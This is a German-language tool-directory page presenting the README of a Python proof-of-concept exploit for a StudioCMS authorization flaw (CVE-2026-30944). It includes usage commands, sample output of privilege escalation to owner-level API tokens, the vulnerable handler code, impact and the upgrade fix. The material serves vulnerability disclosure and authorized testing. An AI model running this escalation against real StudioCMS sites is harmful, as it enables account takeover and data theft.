Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-30944-PoC — Python-Proof-of-Concept für CVE-2026-30944, das eine BOLA-Schwachstelle in StudioCMS ausnutzt, um über unsichere API-Token-Generierung Privilegien zu eskalieren. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsWebsicherheitPenetrationstests
GitHubfilipegaudard/cve-2026-30944-poc

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-30944-PoC

Python-Proof-of-Concept für CVE-2026-30944, das eine BOLA-Schwachstelle in StudioCMS ausnutzt, um über unsichere API-Token-Generierung Privilegien zu eskalieren.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

🔓 CVE-2026-30944

StudioCMS Privilege Escalation durch unsichere API-Token-Generierung

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Übersicht

Der Endpunkt POST /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 erlaubt jedem authentifizierten Benutzer (mindestens mit der Rolle Editor), API-Tokens für jeden anderen Benutzer zu generieren, einschließlich owner- und admin-Konten.

Der Endpunkt akzeptiert einen user-Parameter im Request-Body, der die UUID des Zielbenutzers angibt, validiert jedoch nie, ob der anfragende Benutzer autorisiert ist, Tokens im Namen dieses Ziels zu erstellen. Dies ist eine klassische Broken Object Level Authorization (BOLA)-Schwachstelle, die zu vollständiger Privilegieneskalation führt.

Angriffsablauf

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Angreifer  │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Server     │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Vollständige Benutzerdaten als Owner] │
       │                                           │

Schwachstellendetails


Inhalt

DateiBeschreibung
cve_2026_30944_poc.pyPython-Exploit-Skript mit manuellen & automatisierten Modi
README.mdDiese Datei
LICENSEMIT-Lizenz

Voraussetzungen

  • StudioCMS ≤ 0.3.0 (verwundbare Version)
  • Python 3.8+
  • Gültige Anmeldedaten für mindestens ein Editor-Konto
root@kitploit:~
pip install requests colorama

Schnellstart

Manuelle Ausnutzung

root@kitploit:~
# Generiere ein API-Token für den Owner mit einem Editor-Konto
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Ergebnisse als JSON speichern
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

Automatisierte Tests

root@kitploit:~
# Teste mit mehreren Rollen, um die Schwachstelle zu bestätigen
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

Argumente

Erforderlich

ArgumentBeschreibung
-u, --urlZiel-StudioCMS-Basis-URL
--uuidUUID des Zielbenutzers (z. B. Owner-Konto)

Manueller Modus

ArgumentBeschreibung
--usernameBenutzername für die Authentifizierung
--passwordPasswort für die Authentifizierung

Automatisierter Testmodus

Optional

ArgumentBeschreibung
--saveErgebnisse als JSON-Datei speichern
--no-ssl-verifySSL-Zertifikatsprüfung deaktivieren

Beispielausgabe

Verwundbares System

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: Authentifizierung
  ──────────────────────────────────────────────────────────
  [+] Als 'editor01' authentifiziert
  [*] Session-Benutzer: editor01 (editor)
  [*] Session-UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilegieneskalation
  ──────────────────────────────────────────────────────────
  [*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generiere API-Token für Zielbenutzer...
  [+] API-Token erfolgreich generiert!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: Verifizierung
  ──────────────────────────────────────────────────────────
  [*] Verifiziere Token-Zugriff auf REST-API...
  [+] SCHWACHSTELLE BESTÄTIGT — Vollständiger API-Zugriff erreicht!
  [*] 9 Benutzerdatensätze abgerufen

Gepatchtes System

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 2: Privilegieneskalation
  ──────────────────────────────────────────────────────────
  [*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generiere API-Token für Zielbenutzer...
  [*] Zugriff verweigert (403 Forbidden) — Endpunkt könnte gepatcht sein
  [-] Ausnutzung fehlgeschlagen — Token nicht generiert

Grundursache

Der verwundbare Handler unter packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (Zeilen 16–57) akzeptiert einen user-Parameter aus dem JSON-Body und übergibt ihn ohne Autorisierungsprüfungen direkt an die Token-Generierungsfunktion:

root@kitploit:~
// [1] Prüft nur, ob der Aufrufer Editor ist — nicht, FÜR WEN ein Token erstellt wird
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' aus dem Request-Body — keine Validierung gegen die authentifizierte Session
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Direkt an die Token-Generierung übergeben — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

Das Autorisierungsmodell prüft nur "ist der Aufrufer mindestens ein Editor?" statt "ist der Aufrufer autorisiert, ein Token für diesen spezifischen Benutzer zu erstellen?"


Auswirkungen

  • Privilegieneskalation — Jeder Editor kann auf Owner-Ebene API-Zugriff erlangen
  • Vollständiger API-Zugriff — Generiertes Token gewährt uneingeschränkten Zugriff auf alle REST-Endpunkte
  • Kontoübernahme — Angreifer kann jeden Benutzer durch Angabe seiner UUID impersonieren
  • Datenschutzverletzung — Zugriff auf Benutzerlisten, Inhalte und Systemkonfiguration

Gegenmaßnahmen

Aktualisieren Sie StudioCMS auf Version 0.4.0 oder höher:

root@kitploit:~
npm install studiocms@latest

Rechtlicher Hinweis

Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.

  • Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben
  • Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal
  • Der Autor übernimmt keine Haftung für Missbrauch dieses Tools
  • Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken

Referenzen

  • CVE: CVE-2026-30944
  • Advisory: GHSA-667w-mmh7-mrr4
  • CWE: CWE-639 — Authorization Bypass Through User-Controlled Key
  • OWASP: API1:2023 — Broken Object Level Authorization
  • MITRE ATT&CK: T1134 — Access Token Manipulation

Autor

Filipe Gaudard


Lizenz

Dieser PoC wird unter der MIT-Lizenz für Bildungszwecke veröffentlicht. Verwenden Sie es verantwortungsvoll und ethisch.

Tool herunterladen
FeldWert
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (Hoch) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: Authorization Bypass Through User-Controlled Key
CWE (sekundär)CWE-863: Incorrect Authorization
MITRE ATT&CKT1134 — Access Token Manipulation
OWASP APIAPI1:2023 — Broken Object Level Authorization
Betroffenstudiocms ≤ 0.3.0
Behoben instudiocms 0.4.0
ArgumentBeschreibung
--auto-testAutomatisierte Multi-Rollen-Tests aktivieren
--editor-userBenutzername des Editor-Kontos
--editor-passPasswort des Editor-Kontos
--visitor-userBenutzername des Visitor-Kontos
--visitor-passPasswort des Visitor-Kontos